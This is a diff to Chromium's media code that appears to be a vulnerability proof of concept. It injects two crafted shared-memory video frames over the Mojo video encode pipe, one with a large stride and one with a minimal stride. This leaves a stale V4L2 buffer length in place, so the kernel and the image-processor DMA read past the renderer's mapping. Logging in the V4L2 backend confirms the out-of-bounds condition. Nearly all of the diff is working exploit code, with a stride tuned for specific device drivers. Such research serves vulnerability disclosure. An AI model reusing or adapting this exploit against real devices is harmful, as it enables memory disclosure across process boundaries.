diff --git a/media/gpu/v4l2/v4l2_image_processor_backend.cc b/media/gpu/v4l2/v4l2_image_processor_backend.cc index 4b79a8c90cb349..70637e159e900a 100644 --- a/media/gpu/v4l2/v4l2_image_processor_backend.cc +++ b/media/gpu/v4l2/v4l2_image_processor_backend.cc @@ -879,6 +879,28 @@ bool V4L2ImageProcessorBackend::EnqueueInputRecord( const size_t num_planes = GetNumPlanesOfV4L2PixFmt(input_config_.fourcc.ToV4L2PixFmt()); std::vector user_ptrs(num_planes); + // ---------------- POC instrumentation ---------------- + // The actual over-read is performed by the kernel (videobuf2 + // pin_user_pages) and the IP DMA engine, so userspace ASAN cannot + // observe it. Instead we prove the OOB *condition*: the .length we are + // about to hand the kernel is larger than the input frame's plane span. + for (size_t i = 0; i < num_planes; ++i) { + const size_t v4l2_len = buffer.GetPlaneSize(i); // stale QUERYBUF + const size_t frame_span = + static_cast(job_record->input_frame->stride(i)) * + VideoFrame::Rows(i, job_record->input_frame->format(), + job_record->input_frame->coded_size().height()); + LOG(ERROR) << "POC[v4l2ip]: plane " << i + << " v4l2_plane.length=" << v4l2_len + << " frame_plane_span=" << frame_span; + if (v4l2_len > frame_span) { + LOG(FATAL) + << "POC[v4l2ip]: OOB CONDITION REACHED - VIDIOC_QBUF will pin " + << (v4l2_len - frame_span) << " bytes past plane " << i + << " of the renderer shmem mapping"; + } + } + // ----------------------------------------------------- for (size_t i = 0; i < num_planes; ++i) { int bytes_used = VideoFrame::PlaneSize(job_record->input_frame->format(), i, diff --git a/media/mojo/clients/mojo_video_encode_accelerator.cc b/media/mojo/clients/mojo_video_encode_accelerator.cc index ef953f7c971c13..0e3a95a98d877a 100644 --- a/media/mojo/clients/mojo_video_encode_accelerator.cc +++ b/media/mojo/clients/mojo_video_encode_accelerator.cc @@ -4,13 +4,16 @@ #include "media/mojo/clients/mojo_video_encode_accelerator.h" +#include #include #include "base/functional/bind.h" #include "base/functional/callback_helpers.h" #include "base/logging.h" #include "base/memory/raw_ptr.h" +#include "base/memory/read_only_shared_memory_region.h" #include "base/metrics/histogram_macros.h" +#include "media/base/video_frame_layout.h" #include "base/threading/thread_restrictions.h" #include "base/trace_event/trace_event.h" #include "build/build_config.h" @@ -29,6 +32,65 @@ namespace media { +// ===================================================================== +// POC injection: simulate a compromised renderer crafting two I420 shmem +// frames over media.mojom.VideoEncodeAccelerator. +// Frame 1: coded_size = S, strides = {LARGE, LARGE/2, LARGE/2} +// -> drives V4L2ImageProcessorBackend to S_FMT width = LARGE, +// so QUERYBUF .length is sized for LARGE*height. +// Frame 2: coded_size = S, strides = minimal -> small shmem mapping. +// -> .length is NOT updated, kernel pins/DMA-reads past mapping. +// ===================================================================== +namespace { + +scoped_refptr MakePocShmemI420Frame(const gfx::Size& coded, + int y_stride, + base::TimeDelta ts) { + const int h = coded.height(); + const int uv_stride = y_stride / 2; + const size_t y_size = static_cast(y_stride) * h; + const size_t uv_size = static_cast(uv_stride) * (h / 2); + const size_t total = y_size + 2 * uv_size; + + auto mapped = base::ReadOnlySharedMemoryRegion::Create(total); + CHECK(mapped.IsValid()) << "POC: shmem alloc of " << total << " failed"; + // Fill with a constant so over-read columns are obvious in encoded output. + std::ranges::fill(mapped.mapping.GetMemoryAsSpan(), + static_cast(0x55)); + + std::vector planes = { + ColorPlaneLayout(y_stride, 0, y_size), + ColorPlaneLayout(uv_stride, y_size, uv_size), + ColorPlaneLayout(uv_stride, y_size + uv_size, uv_size), + }; + auto layout = + VideoFrameLayout::CreateWithPlanes(PIXEL_FORMAT_I420, coded, planes); + CHECK(layout); + + base::ReadOnlySharedMemoryMapping ro_map = mapped.region.Map(); + CHECK(ro_map.IsValid()); + base::span all = ro_map.GetMemoryAsSpan(); + auto frame = VideoFrame::WrapExternalYuvDataWithLayout( + *layout, gfx::Rect(coded), coded, all.subspan(0u, y_size), + all.subspan(y_size, uv_size), all.subspan(y_size + uv_size, uv_size), ts); + CHECK(frame); + frame->BackWithOwnedSharedMemory(std::move(mapped.region), + std::move(ro_map)); + LOG(ERROR) << "POC: crafted I420 shmem frame coded=" << coded.ToString() + << " y_stride=" << y_stride << " region_size=" << total; + return frame; +} + +gfx::Size g_poc_coded_size; +int g_poc_encode_count = 0; + +// Stride for frame 1. Large enough that the IP driver clamps width to its +// maximum (e.g. 8192 on MTK MDP3 / RK RGA), inflating QUERYBUF .length well +// past frame 2's mapping. Tunable per device. +constexpr int kPocLargeYStride = 8192; + +} // namespace + namespace { // File-static mojom::VideoEncodeAcceleratorClient implementation to trampoline @@ -78,6 +140,9 @@ void VideoEncodeAcceleratorClient::RequireBitstreamBuffers( DVLOG(2) << __func__ << " input_count= " << input_count << " input_coded_size= " << input_coded_size.ToString() << " output_buffer_size=" << output_buffer_size; + g_poc_coded_size = input_coded_size; + LOG(ERROR) << "POC: RequireBitstreamBuffers input_coded_size=" + << input_coded_size.ToString(); client_->RequireBitstreamBuffers(input_count, input_coded_size, output_buffer_size); } @@ -179,6 +244,28 @@ void MojoVideoEncodeAccelerator::Encode( frame->layout().num_planes()); DCHECK(vea_.is_bound()); + // ---------------- POC injection ---------------- + // The first time the upper layer (WebCodecs / WebRTC) tries to push a real + // frame, hijack the pipe and send the two crafted frames instead. + if (g_poc_encode_count == 0 && !g_poc_coded_size.IsEmpty()) { + g_poc_encode_count = 1; + const gfx::Size coded = g_poc_coded_size; + + // Frame 1: large stride -> sets IP queue format width = kPocLargeYStride. + auto f1 = + MakePocShmemI420Frame(coded, kPocLargeYStride, base::Milliseconds(0)); + LOG(ERROR) << "POC: sending frame 1 (large-stride)"; + vea_->Encode(f1, options, base::DoNothingWithBoundArgs(f1)); + + // Frame 2: minimal stride -> small mapping; stale .length over-reads. + auto f2 = + MakePocShmemI420Frame(coded, coded.width(), base::Milliseconds(33)); + LOG(ERROR) << "POC: sending frame 2 (small-stride / over-read target)"; + vea_->Encode(f2, options, base::DoNothingWithBoundArgs(f2)); + return; + } + // ----------------------------------------------- + UMA_HISTOGRAM_ENUMERATION("Media.MojoVideoEncodeAccelerator.InputStorageType", frame->storage_type(), static_cast(VideoFrame::STORAGE_MAX) + 1);